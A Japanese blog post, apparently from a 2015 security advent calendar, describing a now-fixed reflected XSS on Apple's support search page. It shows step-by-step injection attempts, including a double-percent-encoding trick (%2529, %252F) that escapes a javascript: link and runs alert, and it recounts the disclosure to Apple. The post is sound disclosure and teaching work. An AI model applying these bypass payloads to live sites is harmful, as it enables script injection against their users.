脆弱性”&’<<>\ Advent Calendar 2015 6日目の記事。
数カ月前、support.apple.comドメイン上でXSSを見つけ報告しました。
結構頑張ってalert出したXSSだったので紹介します。ちなみに修正されてから公開しているのでここに書いてある方法を今試しても再現しません。あしからず。
脆弱性が存在したのは以下のページです。(今は全く違うサイトになっています。)
https://support.apple.com/kb/index?page=search&locale=en_US&product=&q=&src=support_site.kbase.search.searchresults
画像の様に入力フォームが存在します。
この検索フォームに「zzz」という適当な文字列を入力すると以下の様な内容のタグが生成されているのが分かります。
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz,AppleStore)_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
次に検索フォームに「zzz”」という文字列を入れる。
ここでダブルクォーテーションがエスケープされていない事が分かります。
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz"","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz,AppleStore)_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
ダブルクォートが使えます。後は「);」を使って関数を抜けれる?
検索フォームに「zzz”);」を入力
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz";","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz;,AppleStore)_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
生成されたタグに、「)」(閉じ括弧)がない。何でだ。そう単純でも無いってことなのか。
「;」は反映されている。
今回、「)」(閉じ括弧)は使えないようです。
惜しいのにあと一歩及ばない。alert(1)したいのに・・・。
alert出来なければXSSではない
ここで思い出したい。
javascriptスキーム内で、シングルクォートがエスケープされたりして使えない場合であっても%27を使うと、
1 |
<a href="javascript:alert('[user_input]')">You can execute any javascript.</a> |
1 |
<a href="javascript:alert('1%27);alert(document.domain)//')">You can execute any javascript.</a> |
Bypassすることが出来るということを。
フォームに「zzz”%29;」を入力。%29は「)」(閉じ括弧)ですね。
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz";","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz;,AppleStore)_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
上手くいかない・・・。というかフォームに入力した%29が勝手に「)」にデコードされているしと少し悩み閃く。
フォームに「zzz”%2529;」と入力
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz"%29;","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz%29;,AppleSto_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
OK!これで良し。%25が「%」にデコードされ結果として%29が出来ました。
ここまで来て「View more Apple Store results」というリンクにマウスオーバーすると以下の様なリンクが生成されていることが分かります。
javascript:disambigutionManageAnswerClick(“https://store.apple.com/us/search?find=zzz”);”,”AppleStore”)
閉じ括弧が現れました。あともう一息です。「()」も先ほどと同じようにパーセントエンコードされた物を使用します。そして邪魔な「”,”AppleStore”)」をコメントアウトしなければなりません。(無論、コメントアウトせずとも工夫すれば何とかなる。)
フォームに「zzz”%2529;alert%2528″1″%2529//」を入力
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz"%29;alert%28"1"%29","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz%29;alert%281_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
ん?「//」が消えている?
どうやらこいつも「()」と同じ様に「%252F」としてやらないといけないみたいです。
少々面倒ですがそれが分かればゴールはもう目の前です。
改めてフォームに「zzz”%2529;alert%2528″1″%2529%252F%252F」を入力。
これが完成形となります。
1 |
<a id="aos_more" class="more" href="javascript:disambigutionManageAnswerClick("https://store.apple.com/us/search?find=zzz"%29;alert%28"1"%29%2F%2F","AppleStore")" onclick="s_objectID="javascript:disambigutionManageAnswerClick(https://store.apple.com/us/search?find=zzz%29;alert%281_1";return this.s_oc?this.s_oc(e):true">View more Apple Store results </a> |
「View more Apple Store result」というリンクにマウスオーバーすると以下の様なリンクが生成されていることが分かります。
javascript:disambigutionManageAnswerClick(“https://store.apple.com/us/search?find=zzz”);alert(“1″)//”,”AppleStore”)
クリックすると、こんな感じです。
Firefoxでクリックするとアラートが一瞬だけ出てすぐ別のページに遷移してしまうのでここだけGoogleChromeのスクリーンショットですw
下手にjavascriptスキーム内でユーザの入力した値を使うとろくな事ないですねw
最初の報告が2015/4/5。
最初はフィードバックのページから連絡したのですが、その後メールで送った方がいいという記述をどこかで見かけたので4月14日に再度メールで送信しました。
すると4月15日にAppleのセキュリティチームから「OK。この脆弱性情報は修正出来るまでくれぐれも外部に漏らさないでくれよな。」といったメールがありました。「私の中学生並の英語が読めたのか」と感心したものです。
ということでAppleのサイトに脆弱性を見つけた場合はメールから報告することをオススメします。
修正を確認したのが7/17。
お疲れ様でした。